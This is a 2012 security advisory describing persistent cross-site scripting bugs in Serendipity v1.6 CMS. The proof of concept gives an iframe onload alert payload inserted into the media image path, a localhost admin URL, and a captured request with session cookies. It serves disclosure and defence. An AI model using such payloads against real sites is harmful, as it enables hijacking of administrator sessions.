Serendipity v1.6 CMS - Multiple Web Vulnerabilities

Document Title:
===============
Serendipity v1.6 CMS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=535


Release Date:
=============
2012-05-04


Vulnerability Laboratory ID (VL-ID):
====================================
535


Common Vulnerability Scoring System:
====================================
5


Product & Service Introduction:
===============================
Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich 
and open source (BSD License). Serendipity is constantly under active development, with a team of 
talented developers trying to make the best PHP powered blog on the net. Serendipity has so far 
also proven 100% PHP5 compatible. Serendipity is a PHP-powered weblog application which gives the 
user an easy way to maintain an online diary, weblog or even a complete homepage. While the default 
package is designed for the casual blogger, Serendipity offers a flexible, expandable and easy-to-use 
framework with the power for professional applications.

(Copy of the Vendor Homepage: http://www.s9y.org )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory researcher discovered multiple web vulnerabilities in Serendipity v1.6 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2012-05-05:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities are detected in Serendipity v1.6 Content Management System. The bugs 
allow remote attackers to implement/inject malicious script code on the application-side (persistent). Successful exploitation 
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires 
low user inter action. Attackers can inject malicious strings as author name to execute them when an admin is processing to preview, review 
or manage the listing of users. The bug is located on application-side & the execution is persistent out of the user management web 
application context.

Vulnerable Module(s):
				[+] Media - Image Name & Display

Picture(s):
				../1.png
				../2.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ..

Vulnerable: http://127.0.0.1:8080/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new
Affected: http://127.0.0.1:8080/serendipity/a

Review: Image Name Display - Media
<ul><li><div class="image_add"><b>Adding image...</b></div></li><li>File was not located on the remote 
server, are you sure the URL: <b>"><iframe src="a" onload='alert("VL")' <<="" b=""> is correct?</li></ul></div>

    <!-- EXTERNAL MEDIA END -->

</div>
</body>
</html>
</iframe></b></li></ul>


POST: IMAGE UPLOAD + NAME

serendipity[old_session]=1vspimicug4mg0glab25l15q92;

serendipity[author_token]=4732db2a5cc1ee1b1fa39f2fd010a417e0d2d87e;

serendipity[userDefLang]=en;
serendipity[sortorder_perpage]=;

serendipity[sortorder_order]=;

serendipity[sortorder_ordermode]=;

serendipity[only_path]=iframesrcaonloadalertVL;     	<=
serendipity[only_filename]=;

serendipity[entrylist_filter_author]=;

serendipity[entrylist_filter_category]=;

serendipity[entrylist_filter_isdraft]=;

serendipity[entrylist_sort_perPage]=;

serendipity[entrylist_sort_ordermode]=;

serendipity[entrylist_sort_order]=;

serendipity[addmedia_directory]=;

__utma=87180614.499031553.1335326742.1335427622.1335434663.3;

__utmc=87180614;
__utmz=87180614.1335326742.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=4edf2e1e70d6571e:T=1335326758:S=ALNI_MZ40f1i0Ac4MSfN7hpqBqzaNtJIlA;

gs_u=1661731922:3115:9169:1335436134683;

__utmb=87180614.4.10.1335434663;
LThttpxxxcomlifetype=e1c0opti2n6u8apo30qhgrrdq2;
PHPSESSID=p4gs3t31a4bvjnsibk7284mhv2;
s9y_6ee12d7870b99d9e22c04f0f96d39992=1vspimicug4mg0glab25l15q92



Security Risk:
==============
The security risk of the persistent input validation vulnerability are estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory